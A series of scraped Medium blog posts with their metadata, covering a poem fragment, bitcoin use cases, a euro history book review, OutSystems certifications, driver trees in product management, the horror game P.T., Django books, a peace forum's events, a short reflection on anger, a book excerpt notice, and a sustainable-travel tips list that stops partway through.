Even your friends will give up on basketball game
and come in to the air conditioning.
Folk art was legitimized a long time ago; did you forget?
Even if he banged a pig, you’d still buy his garden gnomes
made of Studebacker rims and tailpipes for the wide open mouths. | https://medium.com/poetry-on-medium/i-went-to-the-place-where-they-made-heidi-49b65eed1ad2 | [] | 2018-06-03 00:25:17.933000+00:00 | ['Verse', 'Poetry', 'Poetry On Medium'] |
3 Industries Where Bitcoin May Have A Future | 3 Industries Where Bitcoin May Have A Future — Kenkarlo.com
If you haven’t seen the news, bitcoin has been enjoying a price surge this spring, and it’s looking like the cryptocurrency’s best run since the late-2017 boom. That doesn’t mean it’s necessarily heading back toward $20,000, but it has shifted the narrative, somewhat, that bitcoin is in a prolonged or inevitable decline.
Now, once again, people are wondering as to what exactly the future has in store for this ever-interesting digital currency. As much as we may seek to answer this question through investment trends and price patterns, we should also keep in mind that bitcoin is still developing as a currency, also. It may have missed the mark in terms of establishing itself as a widespread replacement for money, but it’s still catching on with more stores and in more industries. If in fact, it ends up gaining a firm foothold in any major business sectors, the development could have some bearing on investment strategies.
So, as many get excited all over again for bitcoin’s growth, we’re looking into three industries in which there could be real potential for bitcoin moving forward.
Groceries
One of the mistakes we sometimes make is assuming that all uses of bitcoin as a currency pertain to the average consumer. It could be that in some areas businesses actually use bitcoin in a large internal sense. It’s with this in mind that groceries and larger food industries can serve as perfect examples. There is already talk of blockchains being put to use in these areas. Such innovations could make food industry operations more transparent, more efficient, and more reliable, ultimately ensuring that grocery stores, restaurants, and other food outlets are run as smoothly as possible. And while this is mostly about organization, it could also be that different entities along the supply chain (from farmers to restaurants managers and store owners, and everyone in between) will ultimately end up using bitcoin for their own internal transactions. This would result in a lot of the cryptocurrency being used and exchanged regularly, even if it wouldn’t necessarily be happening on the consumer market.
Betting
Here we have more of potential consumer use. At this point, the American market is still at least somewhat unfamiliar with digital betting businesses, but internationally it’s been proven that there’s some appeal to using bitcoin when dealing with such businesses. People making betting or gambling deposits tend to be on their guard about security and transparency, and while established betting firms already go to great lengths to provide these things, bitcoin can do so, to some extent, by itself. This could ultimately affect bitcoin usage in America because currently, betting businesses are on the verge of mass expansion across the country. New Jersey’s sportsbooks are leading the way, and imitations will soon follow given that betting legislation is under consideration in roughly half the states in the country. All of this is going to usher in numerous platforms, and some, it stands to reason, will deal in bitcoin.
Travel
The idea of bitcoin use in travel-related transactions is actually not entirely about potential. That is to say, it’s already possible to use bitcoin in a lot of transactions like these, with a variety of booking sites already having chosen to accept cryptos. Security and transparency are valued with these sorts of purchases, but there’s an additional appeal that comes from bitcoin’s universal nature. While one can typically book a trip with one’s own native currency, travel costs can bring about confusing jumps between one currency and the next, making bitcoin an appealing workaround of sorts. Maybe more than any other individual space, travel has proven that bitcoin payments can stick, and for this reason, we could well see further expansion of the currency’s utility. | https://kenkarlo.medium.com/3-industries-where-bitcoin-may-have-a-future-f39e6fd94621 | ['Ken Karlo'] | 2019-05-18 18:55:45.622000+00:00 | ['Bitcoin', 'Blockchain', 'Betting', 'Industry', 'Travel'] |
Biographies of the euro | Ivo Maes and Kenneth Dyson have produced an excellent volume: a must read for everyone interested in a close-up account of the construction of the European Monetary Union. Maes and Dyson have drummed up eight pertinent scholars and made them write psycho-biographical accounts of eight top level bureaucrats from European member states directly involved in the negotiations of the euro. Through the eyes of these “Architects of the euro” the reader explores the making of the common European currency. This book, that at times gives the reader the intimate feeling of a voyeur sitting at European top level negotiation tables of the 1980s, is filled with juicy quotes from rare to find oral history interviews (often conducted by the authors) and the most up to date archival sources.
Biographies and auto-biographies of the leading politicians that constructed the euro (Kohl, Mitterand etc.) fill bookshelves but we know little to nothing about the engineers and organizers working behind the scenes.
Three good reasons to read this volume
Here are three reasons why this book sets a new standard in the study of the euro, and why one should try and get this book (despite its steep price): first, biographies and auto-biographies of the leading politicians that constructed the euro (Kohl, Mitterand etc.) fill bookshelves but we know little to nothing about the engineers and organizers working behind the scenes. With their collection of essays on high level bureaucrats — the Architects of the Euro — Maes and Dyson have broken new ground. The editors and their authors provide first-hand biographical accounts of these so far neglected figures and use them to explain their actions during the constitutive phase of the European monetary integration.
Second, Maes and Dyson present what one could call a psycho-biographical reconstruction of top level bureaucratic behavior. Making their contributors meticulously document the influence of national traditions, the exposure of the architects to economic paradigms, and their socialization in institutions like the Bundesbank, they manage to reconstruc norms, belief systems and personality traits (e.g. Bundesbank president Pöhl as “volcanic”) of actors. It makes a fantastic contrast to the dominant approach to EMU and the European crisis which are predominantly based on interest (debtor vs creditors) or rationality (import vs export countries). It is also a great advancement to the study of ideas and to scholarship that insists on the power of ideology. Unusually studies limit themselves to the influence of economic schools of thought like Ordoliberalism or Keynesianism without looking at the cultural anchoring and national variations of these ideas, their interaction with national interests and their connection to cultural background and personal experiences of actors.
What the reader takes with her from the book is that today’s extremely harsh critique on the initial construction of EMU is too often formulated from a benefit of hindsight perspective. With this book in hands one gets a much better picture on how complicated the construction was.
Third, the book gives unprecedented documentation of the maybe most damaging and virulent cleavage that opened with the euro crisis: the north-south conflict based on different economic cultures. The biographies and the reconstruction of the preferences of the major actors show that also the top level bureaucrats do cluster into two camps: those that advocate a more Keynesian, state centered, corporatist and discretionary approach to economic integration, and those that focus on rules and undistorted markets. However, the dividing line between a Protestant north and a Catholic and Orthodox south with their equivalent spheres of culturally informed economic ideas that is nowadays often cited in the debate appear in the biographical accounts to be much more blurred since also legacies of fascism, exposure to economic crisis and rare events like German reunification played a role.
Some warnings and avenues for the future
Ivo Maes and Kenneth Dyson have done a marvelous job in editing this book. Both amongst the most renowned experts on European Monetary Integration, they were able to pull together contributors with an impressive reputation from the most prestigious research institutions (e.g. the Sorbonne, the British Academy, Princeton, the London School of Economics). The editors identified eight Architects of the euro — all senior bureaucrats at the time of the making of the European single currency, with a negotiation mandate (Robert Triffin, Robert Marjolin, Raymond Barre, Pierre Werner, Roy Jenkins, Hans Tietmeyer, Karl-Otto Pöhl, Tommaso Padoa-Schioppa, Jacques Delors, Alexandre Lamfalussy). The accounts do not only offer many details on the bios and formative life experiences of these intellecto-policymakers but also a meticulous reconstruction of the constraints they faced, both set from their national domestic arenas and their European negotiation partners and how they dealt with them in the negotiations. All together gives us an intimate over the shoulder look on the actions and constraints and thinking of these individuals during the run up and negations of European Monetary Union.
What the reader takes with her from the book is that today’s extremely harsh critique on the initial construction of EMU is too often formulated from a benefit of hindsight perspective. With this book in hands one gets a much better picture on how complicated the construction was. Problems were well known but the necessity of compromise between different economic cultures and traditions made the euro the way it is. This implies also a powerful lesson for the future. With ever more intellectuals and scientists around Europe arguing in favor of dismantling the euro, the account in the book gives a glance on how difficult that would be. Rewinding the euro project with actors from so different economic and national traditions involved might give very different results from those planned.
Next to these practical insights on the future of the monetary zone, as well as the incredibly rich and detailed accounts on what happened around the initial negotiations, the other strength of the book lies in advancing and testing a new conceptual avenue on the study of the European integration project and the influence of economic paradigms. The traditions perspective, advanced in this volume, gives a broader perspective than the sole focus on ideas in the sense of narrow economic and clear cut economic theories like ordoliberalism which currently dominates the debates in constructivist branches of European studies. The concept of national economic traditions might very well become a new paradigm in the study of the connection between economic ideas and politics. | https://medium.com/euvisions/biographies-of-the-euro-16872582903b | [] | 2017-09-18 11:03:06.751000+00:00 | ['Single Market', 'Euro', 'Emu'] |
OutSystems Certification Precedence | Learing a new technology requires decisions over the long-run goals, and the understanding of any precedence order. This point is also applicable to Outsystems certification paths.
“Which development path should I take, where the future growth possibility exist, and what precedence are there?”
This question is asked by colleagues more often than not. It seems a non-complex question, but the limitations are sometimes difficult to foresee. In my opinion such an important question should be asked early as possible.
I provide here a simple, yet powerful, visual road map of certifications, for everyone to understand from the start, the complete certifications precedence tree and restrictions.
OutSystems Certification Precedence Tree (updated on Dec 2020)
This diagram is composed of:
2 different paths — Reactive and Traditional.
— Reactive and Traditional. 3 certification levels — Associate, Professional / Specialist, and Expert.
— Associate, Professional / Specialist, and Expert. 8 exam certifications — #5 Developer, #1 Tech Lead, #2 new ones…
…Yes! You saw it right, 2 new certifications are available from now:
Architect Specialist — knows to design and validate good architecture.
— knows to design and validate good architecture. Platform Engineer — master and troubleshoot the Platform environments.
Overall decisions on the path to choose, should include project needs, own skills, and personal preferences. It’s up to each one to balance them, and take the road.
Reactive development is more challenging and becoming more adopted in the market, than Traditional Development. On the other way Traditional development is maybe easier to learn as starter, than the Reactive Path. Both currently offer the same number of options of certifications (as the diagram above shows).
Nevertheless, anyone could take both paths. This explanation is mainly focused on showing the possibilities to those, that need to make a decision now, thinking on their future.
I hope this helps to clarify some questions out there. For more information read my other articles, or visit the OutSystems certifications page! | https://medium.com/@marcoarede/outsystems-certification-precedence-ac84426a09c1 | ['Marco Arede'] | 2020-12-24 10:39:37.249000+00:00 | ['Specializations', 'Lowcode', 'Outsystems', 'Development', 'Architecture'] |
Driver Trees — How and Why to use them to Improve your Business | Driver Trees — How and Why to use them to Improve your Business
Foster alignment, broaden understanding and find focus
I was introduced to the Driver Tree concept a few years ago at HelloFresh. It was introduced by our leadership to support our growth and focus the teams on how they could contribute to the success of the business. It worked. After its adoption, there was a noticeable elevation in the effectiveness of teams across the business.
Driver Trees (also known as KPI Trees) are a simple effective tool that can be used in almost any organisation. In this article, I want to explore the concept in more detail, explain how they can help your organisation and give you some tips on using them.
What is a Driver Tree?
A Driver Tree is a map of how different metrics and levers in an organisation fit together. On the far left, you have an overarching metric you want to drive. This is the ultimate goal you want all the teams to be working towards.
As you move to the right, you become more granular in terms of how you want to achieve that goal. Each branch gives you an indicator of the component parts that make up the “what” above them.
Let’s apply this to a more tangible example of “being healthy”. Let’s assume I want to become healthier — this is a big goal and actually has many different avenues that can lead me there. Do I want to be more physically fit, more mentally healthy or improve my eating? These are all viable drivers of being more healthy.
In the example above, I decided to explore “Mental Wellbeing” which is one of the drivers (to me) of being healthy. The aim is to continue to break each of these drivers into more specific and manageable drivers. Continuing down the tree the next two drivers are “Reduce Stress” and “Improve Sleep”. Getting to the bottom of the tree, you will notice that the examples are given are very specific. These can be tracked and actioned individually.
Now, this is the important point - just because I meditated for 10minutes every day I can’t say I’m healthy. However, the compounding effect of all the smaller actions rollup to the driver above. This is where the value of a driver tree comes from — it helps you understand the specifics that you can action. For example, if I want to improve how much I meditate I could add it to my routine, creating a separate space for this activity or downloading an app to guide me.
It’s this model and methodology we can apply to the component parts of our business.
The Value of Driver Trees
Driver Trees have 3 main value components for an organisation:
Improve Understanding Foster Alignment Drive Focus
Improving Understanding
Driver Trees are a useful tool in helping breakdown the complex nature of your business. They allow you to abstract some of the complexity of your business to help everyone understand how the overarching pieces fit together (what is the model? how do we generate revenue? where do our costs go?). This benefits everyone in the organisation, from the leadership and across departments, and builds a map enabling different groups to discuss impact.
With that understanding, it is much easier for individual teams to understand how they factor into it the success of an organisation. This is an essential part of shifting mindsets from outputs to outcomes. When teams recognise their work extends beyond closing tickets and understands their connection to the wider mission, you’re going to unlock the real impact of the autonomous team. A clear purpose that has meaning is what most organisations miss when they’re trying to get real and lasting buy-in from their employees.
Fostering Alignment
Awareness of work of other units in your organisation. From 6 Diagrams I use to explain Product Management Concepts.
Humans are notoriously bad at communicating across larger groups — it’s one of the reasons that the Spotify Model promotes smaller teams. As organisations scale, they traditionally struggle with scaling communication channels and information silos form. It can be difficult to understand what another team is working on and, more importantly, why.
The Driver Tree acts as a common frame of reference for you and your colleagues during discussions. It can act as a trigger for understanding “why” when discussing requests and opportunities with your stakeholders. It helps help the organisation understand which opportunities may be under-invested.
Driving Focus
The driver tree abstracts a lot of complexity, however, when combined with metrics, it helps unearth potential opportunity areas and acts as a guide.
Let’s take an example. Imagine you’re the Product Manager for a funnel team and your aim is to increase the number of metrics. You see the % of customers that successfully complete the “Email Confirmation” step is only 50%. There are a few potential drivers in this— are the customers even receiving the email? If they are, why aren’t they clicking through? Again, each of these avenues may have further influencing factors.
By mapping the process flow onto the Driver Tree, you’re able to break down the topic. It could be that you find your 3rd Party Provider returns an error 10% of the time, meaning the email isn’t even sent — this becomes the opportunity area for your team. You’re now working through a specific problem that you and your team can tackle together.
Example of a Driver Tree for a team looking at the Email Confirmation Stage of a Sign-Up Funnel
A colleague of mine previously commented that there are similarities between Driver Trees and Terresa Torres’ Opportunity Solution tree. Although there are some commonalities, I see the Driver Trees as a more general overview with the Opportunity Solution being the better tool to direction on how to influence the Driver Tree.
Defining Your Driver Tree
Let’s take a look at how you could approach a driver tree. Imagine a situation where you’re the Product Manager for the Netflix Homepage
Our role is to support the total number of conversions. We affect this by driving the overall conversion rate (CVR) and this, in turn, is affected by each step in the funnel. The higher the CVR of each of those steps the more of our customers will complete the funnel.
Start by adding anything you know that affects conversion rate. First, let’s add Page Load Speed. Google have shared extensively on the impact of Load Speed on Conversion. Using this as a starting point, we can explore what affects Page Load speed.
Exploring Page Load Speed in our Driver Tree
Two examples may be the time spend on Network Requests and another spend on the rendering. Again, following the “Network Time” branch, we can look at:
# of Requests being made
Average Response Time
# of Blocking Requests (requests we need to wait for)
I also included Lighthouse Score (as one of the elements is Performance) to give us another metric as a reference point.
We can continue to extend this by looking are core metrics we’re getting out of tools like Google Analytics. Are people leaving our site (Site Drop-Off / Exit Rate) or are they exiting our funnel (e.g. Navigating to a ‘Help’ Page). Finally, we can even look for micro funnels on the page itself. In the Netflix example, I’d be interested in exploring how many people start entering their email, how many attempts to submit and what type of errors they’re getting back. These are all aspects that help you map out why “Funnel — Step 1 CVR %” is in it’s the current state.
Note, the driver tree doesn’t tell you how to affect or driver lower level metrics. If the Exit Rate (%) is 10%, you still need to discover why this is the case — the tree will only help you understand what is true.
Tips for Driver Trees
Empower the teams — The core of the tree can be developed by a smaller team with a good and broad understanding of how the business works. However, in larger organisations, it is unlikely that one group will have the knowledge to develop the entire tree alone. In that situation, trust in the individual teams to inherit and extend the tree with their specialist domain knowledge.
Involve everyone — There are a couple of dimensions to this. First, when you’re starting out, try to reach broadly across the organisation. When doing this process at Delivery Hero, we cut across the organisation. This is a time when it is useful to have Senior Leadership involvement because they can make connections and introductions that you may not be aware of.
The second dimension is continuing this theme in team- or squad-specific workshops. When there is a natural overlap of different teams, involve them together. This allows a sharing of ideas, perspectives and contexts which the driver tree aims to capture. Some of the most effective Driver Tree workshops we did were the ones that involved the squads and their key stakeholders.
Start with your goal — The top of the tree should be something that makes sense for all your organisation to work towards. If you’re a for-profit enterprise you can keep this as simple as “Gross Profit,” however, if you have a North Start Metric that you know is tightly coupled to your business and customer success, this would also work.
Don’t be dogmatic — During this process, you’ll find that some metrics and indicators could appear in multiple locations. Although you should aim to minimise overlap, I’ve never considered it a major issue. The Driver Tree is a way of abstracting complexity and does not have to be a perfect representation.
Use Metrics — Aim to use metrics as the individual drivers (blocks). This makes each element much more specific and helps you understand what impact you’re actually having. The tree will likely include a combination of business (revenue, cost), departmental (Email Open Rate, Ticket Response Time) and technical (% of API 500 Errors) metrics. However…
It’s not a dashboard — There will always be an incentive to translate this into a dashboard with red and green numbers. While I agree there is value in that, your initial step should be as an education tool — not a reporting one.
Validate — The first draft of your tree will include metrics you know are important and some you assume are important. As part of your Product Development, you will spend time validating (or invalidating them). You don’t have to get it right the first time. Remember, you will still…
Iterate — Both the core of the tree and any more granular ones you do will constantly evolve. As you learn more about your product, your business and your customers it is natural for it to evolve. Don’t be afraid of this change (embrace it).
Make it public —Do your best to make the Driver Tree public. Make it accessible in your knowledge management tool for anyone in the organisation, have the teams post physical copies of it in their work areas and reference it in their planning and alignment sessions.
Include in the onboarding — Organisations have a natural churn in the workforce, some people leave and others join. Be sure that your new joiners are introduced to the concept and how it applies to their role. This is a great way to give context to your new joiners in their early days and provides a skeleton for the rest of the knowledge they will gain during onboarding. We’ve been doing this at Delivery Hero with very positive feedback. Want to see for yourself? We’re hiring
Conclusion
Introducing Driver Trees takes time and effort, however, I’ve found it’s one of the most effective tools to create a more holistic understanding of how your business works. This is an important building block in creating effective Product Teams that can focus on value creation over just feature delivery. Further, they act as a communication artefact to help you build alignment across your stakeholders. | https://medium.com/swlh/driver-trees-a-tool-to-make-your-teams-more-successful-88f751e86482 | ['Curtis Stanier'] | 2020-03-02 10:29:56.481000+00:00 | ['Product Management', 'Business', 'Work', 'Startup', 'Organizational Culture'] |
The Lost Legend of P.T. | The Lost Legend of P.T.
A mystery that, even years later, remains elusive
For avid horror gamers, you’ll have at least heard of Hideo Kojima’s P.T., but whether or not you’ve had the privilege to play it is a different question. Its removal from the PlayStation Store was seemingly an unfortunate result of the disagreements between Kojima and Konami, which is a real shame because it’s considered one of the scariest masterpieces of all time.
P.T. stands for “playable teaser” and as such, it was an excellent preview of what fans could expect for the then-upcoming (and now-canceled) Silent Hills project. But it operated almost as its own standalone game, taking approximately a few hours to beat, assuming you could solve the insane final puzzle. It features a unique cast of characters and a mysterious playable protagonist whose story can be deciphered via in-game clues such as the radio and the talking baby in the sink.
Though it’s sad to see its removal from the PlayStation Store after such a long reign as a cult classic horror title, P.T.’s limbo on the online storefront as an abandoned project with no real closure to its many plot points is what brought it to such a legacy. Without this, P.T. wouldn’t be the lost legend that it is today.
P.T.’s final puzzle
The entire game is set in a single corridor within a family home (though the player will continually return to the beginning of said corridor, with each “lap” acting almost like a different level). Rather than being unveiled to the audience on a silver platter, the narrative is delivered through a series of puzzles, and the player is tasked with piecing together the breadcrumbs in order to solve the game. Most of the straightforward context is given through the radio, where we learn that the father of the family brutally murdered his wife.
You, the player, are experiencing a nightmarish version of the brutal scene of that murder, but whether you are the father or son in that story has been hotly debated. But this isn’t fully realized until the player can take a step back and look at the whole picture. Doing so is also inherently important to solving the final puzzle.
The final puzzle stumped players everywhere and made it the iconic Kojima game that it’s known as today. While every other puzzle forces the player to look into the tiniest details of the infinite hallway, such as peering through a hole in the bathroom or examining strange writing on the walls, this one makes sure the player has been adamantly comprehending the story’s hidden messages.
P.T. goes so far as to hide some of these messages in other languages. Specifically, the answer to the final puzzle was deduced by the folks over at The Grate Debate on YouTube, who figured that the messages that are revealed when players collect torn photos of Lisa directly correlate with the answer to the final puzzle and even put it in the proper order to consistently trigger the game’s ending over and over.
What’s even more insane is figuring out the “man’s name,” a solution to one step in triggering the final cutscene. Somehow, they were able to figure out— through both deep P.T. lore and fables not related to the game at all — the name of Lisa’s son is most likely “Jarith.” Never before had the horror community seen a puzzle solution that involved whispering a ghosts’ name into the controller microphone, making P.T. puzzles the revolutionary icon that gamers still compare to other games in 2020.
Although this solution has been known to consistently trigger the ending of P.T., what’s undoubtedly tragic is that the solvers will never know if “Jarith” is the true name of Lisa’s son or what that means for the story itself. | https://medium.com/super-jump/the-lost-legend-of-p-t-e6052789f3b8 | ['Roni Maca'] | 2020-10-29 09:09:05.380000+00:00 | ['Features', 'Horror', 'Gaming', 'Culture', 'Art'] |
Top Five Books that can be used for learning Django from Scratch : | Top Five Books that can be used for learning Django from Scratch :
Django is one among the foremost popular Python frameworks for web development. Django provides a lot of libraries and solutions for common tasks, which makes it easier and faster for developers to create even complex web applications. Learning
Django is important if you’re into web development and Python programming. Books and learning go hand in hand, and this text will tell you about 5 best Django books for all levels of learners. But before that, let’s do a fast recap of what Django is.
1. Django Design Patterns and Best Practices:
Though a design patterns book, it covers a good amount of basics about Django starting with why Django came into existence. The author discusses at length how simple and sophisticated problems that are quite common , especially once we want faster development, are often solved by making simple design changes. Knowing about various patterns can greatly reduce the coding time and enhance code performance.
2. Beginning Django E-Commerce :
This book is for beginners, who may or might not have a Django background. However, you ought to have a good understanding of HTML, CSS, XML, SQL aside from Python. Some topics that this book covers (like deployment, testing, performance tuning) aren’t covered adequately in other books. it’s a step by step guide to making an e-comm website, however, the author doesn’t spoon-feed you at the most places.
3. Lightweight Django 1st Edition :
The author takes a posh project, breaks it into smaller components and goes on to elucidate each component, making it easy for readers to know the low-level details also because the overall picture. Every line of code is explained well, there’s a reasoning for everything that the author does — the detailing is simply amazing.
4.Practical Django 2 and Channels 2 :
The author covers an excellent amount of data and makes some boring topics interesting through examples. The author seems to understand a developer’s mindset perfectly — while reading if you seem to possess a doubt, it’ll be cleared because the next thing within the book! The author touches upon all the domains — e-commerce, finance, banking by giving use cases from each of those enabling developers to use the techniques and guidance in their projects.
5.Django Unleashed :
The book may be a detailed guide and starts with scratch to create applications in Django. It explains various ways of solving an equivalent problem then explains which one is best too. The author takes it slowly from basics to complex topics and though some advanced topics could also be a touch difficult to follow initially, once you practice them, you’ll appreciate the trouble the author has put to elucidate them. | https://medium.com/@anuingale34/top-five-books-that-can-be-used-for-learning-django-from-scratch-98d6b136ba2 | [] | 2020-12-25 09:45:25.902000+00:00 | ['Médium', 'Django', 'Django Rest Framework'] |
Unity is Strength — Recorded Events | Photo by Anton Mislawsky on Unsplash
Unity is Strength is a Quora.com forum that started in 2019, focusing on areas where Palestinians and Israelis can work together in a grassroots fashion to support one another. Our goal is to identify specific action items and achieve them. We also hold and promote online events. Some of the events featuring our participants or promoted by our forum, with publicly available recordings, are listed here.
On Sunday, July 19, 2020, our Moderator (now Administrator) Emanuel Shahaf spoke for an organization we’ve previously raised money for, Friends of Roots.
On Thursday, November 12, 2020, our Administrator Rebecca Sealfon was a participant in a roundtable for The Great Debate.
On Wednesday, December 16, 2020, Emanuel spoke with Rafi Gassel on The Great Debate, each person promoting their own federation solution to Israel-Palestine. A federation is a consortium of regional governments under a central government. | https://medium.com/illumination/unity-is-strength-recorded-events-d6f159dcc16f | ['Rebecca Sealfon'] | 2021-02-09 20:54:57.220000+00:00 | ['Palestine And Israel', 'Palestine', 'Peacebuilding', 'Peace', 'Israel'] |
Anger or Smile ! | Anger or Smile !
Anger may turn friends into enemies but a Smile will turn all enemies into Friends
Anger creates fear and distrust -
Yelling and angry expressions make a dear person to fear us, friends & associates will begin to distance themselves
Frequent anger if uncontrolled will lead to hurt feelings and may end up causing physical as well emotional harm
Anger also affect the facial muscles to tense and in course of time turn the face expression as a permenant scorn
Wherein a Smile radiant the surroundings, creates a positive vibe and is contageous too
Smile makes everyone to feel better because other's, consciously or subconsciously connect with the smiling person
A ever smiling person will be treated as a cheerful,happy, friendly and kind person -
The facial muscles lift at smile and make a person look attractive & young
Anger will eventually lead to loneliness and depression causing agony to that person as well the well-wishers
Smile will unite to bring happiness in everyone and eventually build a beautiful relationship around
Anger will cost friendship & relationship
Smile will cause friendship & relationship
Let's choose smile over anger and lead a happy life 🙏 | https://medium.com/@surissoul/anger-or-smile-272dcc43748 | ['Suryanarayanan K'] | 2021-05-13 09:46:42.954000+00:00 | ['Anger', 'Life', 'Smile', 'Happiness', 'Emotions'] |
Book Excerpt: Reimagining Collaboration | Reimagining Collaboration: Slack, Microsoft Teams, Zoom, and the Post-COVID World of Work
Below is an excerpt of my new baby Reimagining Collaboration: Slack, Microsoft Teams, Zoom, and the Post-COVID World of Work. In it, I set the table for the rest of the book.
Enjoy. | https://medium.com/@philsimon/book-excerpt-reimagining-collaboration-654bbac9213b | ['Phil Simon'] | 2020-12-24 12:08:30.094000+00:00 | ['Collaboration', 'Microsoft Teams', 'Future Of Work', 'Zoom', 'Slack'] |
20 Simple Ways To Reduce Your Environmental Impact While Travelling | As a current international gap year student, a large part of my life of late has involved travelling. Going abroad and experiencing a different country, without a doubt, is extremely valuable when it comes to fostering understanding and respect towards different cultures. Sadly, however, the act of hopping on a plane and going across countries is largely detrimental towards the environment.
Especially as someone who advocates for low-impact living, I’ve recently become hyper-aware of how damaging and hypocritical this can be, and I thought it would be necessary to address the contradictory nature of travelling as a vegan ‘environmentalist’. While an ideal world wouldn’t require any of these individual adjustments in the first place (read: Neoliberalism has Conned Us Into Fighting Climate Change as Individuals), I am still in the process of rectifying my passion for global understanding with reducing my carbon emissions.
In my eyes, travelling and interacting with different cultures will always be a fundamental way to connect with the world; the gift of nature is what motivates me every day to perform little acts of advocacy for a healthier planet and better future. Unfortunately, I fail to see an immediate way to cut out high-carbon travelling right now, but what I believe we can do in the meantime, is make lifestyle changes to reduce this colossal impact. Over the months, I have been paying extra attention to areas with potential for adjustment towards sustainability. In the process, I have acquired some tokens of advice on how we may lower our impact while travelling, which I’ve listed out below:
Slow Travel: Trekking in Nepal
1. Embrace slow, low-impact travel
The concept of slow travel was definitely drilled into me during my three months spent in Nepal. A 15-hour drive on a bumpy road? No problem. 11-hour trek days carrying all our gear on our backs at 15,000 ft altitude? Sure thing! 17 days of camping without a shower? Come at me…Not only do these practices promote ways to fully absorb everything that’s around you, they also lend to more opportunities to connect with people on the way and enjoy the process while you’re at it. Those 15-hour bus rides without any devices definitely enabled me to bond with my peers and during the times where we were not socialising, it reminded me of the important ‘skill’ of being bored as I was able to utilise this time to reconnect with previous neglected thoughts.
2. Bring your own container, utensils, napkin, earphones/headphones, and blanket on the plane to avoid the packaged ones they provide. And for when you’re eating local street food in places like Thailand or Taipei! If, for whatever reason, you’re still missing some of these ‘zero-waste’ essentials, Net Zero Co kindly sent me some of their products and I am loving them so far! Of course, repurpose what you have before purchasing anything you ‘need’, but their website contains pretty much anything you’re looking for — even if it’s just inspiration.
Reusable container and utensils from Net Zero Co
3. Bring an empty water bottle, cup or mug to fill on the plane (just ask the flight attendants!). Or, if you’re in Hong Kong, bring it to fill at the water dispensers which can be found at every few departure gates. While filling your water bottle on the plane, it’s also a great way to spark conversation with flight attendants when they’re not busy serving food, demonstrating safety procedures, etc. It might be interesting to learn about where the food goes when it’s not eaten! Download water fountain apps if possible (e.g. Water for Free in HK), and a Steri pen or Life Straw can also be a worthwhile investment when it comes to purifying tap water in countries where it’s unsafe to drink out of the faucet directly.
4. Pack lightly; choose carry-on if possible. This saves money AND reduces the need for transportation fuel. I wasn’t aware of this before, but the extra bags do add up and require extra fuel to transport.
The Rainbow Bus to the Farmers Market in Byron Bay, Australia
5. Shop at zero-waste bulk food stores and/or support local farmers markets. Make sure you go with a reusable bag or container — bring multiple in case your friends forget! Buying local means that a) you’re supporting their economy, b) reducing food miles — the food didn’t have to travel huge distances to get to where you are (according to Levi “save the world” Hildebrand, buying local cuts down on the average 1500 miles that food travels to be on your plate), c) it’s probably cheaper, and d) the produce is likely to be more fresh and nutritious!
6. Don’t buy souvenirs. This applies to anywhere you are: buy experiences, not things. You’ll save money, form more memories, and have more stories to share! Avoid falling into the trap of consumerism, capitalism, and pretty much any ‘ism’ that begins with c…Want to show your friends you care about them? Share videos of you in different places telling them how much you love them! And if you really want to bring home a souvenir, buy something that is made locally. These can often be found at different artisan/handmade markets.
7. Avoid transfer flights when possible. Taking off and landing are what generates the most carbon run-off and can be easily avoided. If possible, take flights that are of a higher priority within the airport and/or those with a built-in carbon offsetting program. This means they are less likely to linger around in the airport — emitting more damaging and unnecessary chemicals into the environment. Cheap, ‘affordable’ flights are often the ones that cause your carbon footprint to soar.
Compost Bins at Grampians Eco YHA
8. Avoid food wastage. This applies wherever you are in the world, but only buy what you need if cooking at home or eating out! As I mention in this article, not only does wasting food waste all the resources that went in to its production — from the water and energy used to produce and transport it, to the nutritional value it once contained — when food decomposes in the landfills, it also emits methane gas, which is 21 times more potent than CO2 — leaving an even greater impact on climate change. If you’re concerned about disliking the food on the plane, bring your own snacks in a reusable container (refer to tip #2) instead!
9. Walk — or run — everywhere! This is the best way to explore the area that you’re in; it’s cheap, fun, and sustainable. If you’re not a fan of either, try renting a convenient form of transportation. You can do this with rental systems such as SmartBike in Hong Kong, Lime in the U.S. and some places in Europe and Australia, Bird in LA, City Cycle in Brisbane, the list goes on…Alternatively, you can join a free walking tour, hop-on hop-off tour bus, or just jump on a metro and explore!
10. Do research before you enter the country you’re visiting! See if they have food waste apps available such as OLIO and Too Good To Go or events such as dumpster diving. These are great ways to reduce food waste while meeting people abroad. Before visiting Brisbane, I found out that they have a community herb garden where you can collect herbs to bring home — for free! While I never ended up grabbing any, for those planning to stay longer term, this would be the perfect way to reduce your costs and environmental impact, while potentially making some like-minded friends.
A second-hand book!
11. Invest in a Kindle/download the Kindle app on your phone/tablet. I love bookstores as much as the next person, but maybe this time, you could use the store as your browser, then simply purchase the book off the Kindle app instead. Since libraries are unlikely to be accessible for one-off, short-term travellers, downloading them onto your devices can be an easy way to access your book everywhere you go. Alternatively, you can scout out second-hand book stores (I got this book photographed on the left from a pre-loved store in Byron Bay, for example). It’s likely to be cheaper, too!
12. If staying at a hotel/place with room service, ask the cleaners to NOT wash your sheets/towels, etc every day. Perhaps I’m overgeneralising, but I doubt you’re so dirty that your bedsheets require furnishing after a single night’s sleep. I’m sure you don’t change your sheets at home every day, so it should be no different while you’re away!
13. Bring your own toothbrush, toothpaste (which, again — you can get as tablets or in a jar from Live Zero or Slowood), creams, shampoo, conditioner, soap, safety razor, instead of using ones at hotels that will come in plastic packaging.
A Vegan Meal
14. Eat less meat! An obvious one coming from me, but an important reminder nevertheless. Sure, it’s great to dabble in different cultural cuisines, but once you’ve had a try, it’s a good idea to cut down on the meat consumption — especially beef. If you need a refresher as to why this industry is particularly damaging towards our environment, check out this article.
15. Plogging! Pick up trash whenever you see any on the beach/streets/wherever you go. Or join a local beach clean-up to give back to the environment you’re in.
16. Travel differently: Try WWOOFing (a form of work exchange where you work on an organic farm in exchange for food and accommodation), backpacking (learning to live simplistically out of your backpack), camping (this includes living in a teepee like the one pictured below), travelling and sleeping in a campervan, and — for those looking for something more extreme, you can even try living in a hammock. I read about a girl who did this while travelling Australia, who would bring her hammock around and sleep in people’s backyards for no cost!
Alternatively, if you want something a bit more conventional, look for hostels or hotels with a specific emphasis on being eco-friendly. In Australia, I stayed at the Grampians Eco YHA for a night, and I was impressed by all their sustainability initiatives. They had a herb garden (where residents could take herbs from for free), vermicompost box, chickens with free-range eggs, etc — many factors which contribute to a sustainable food system.
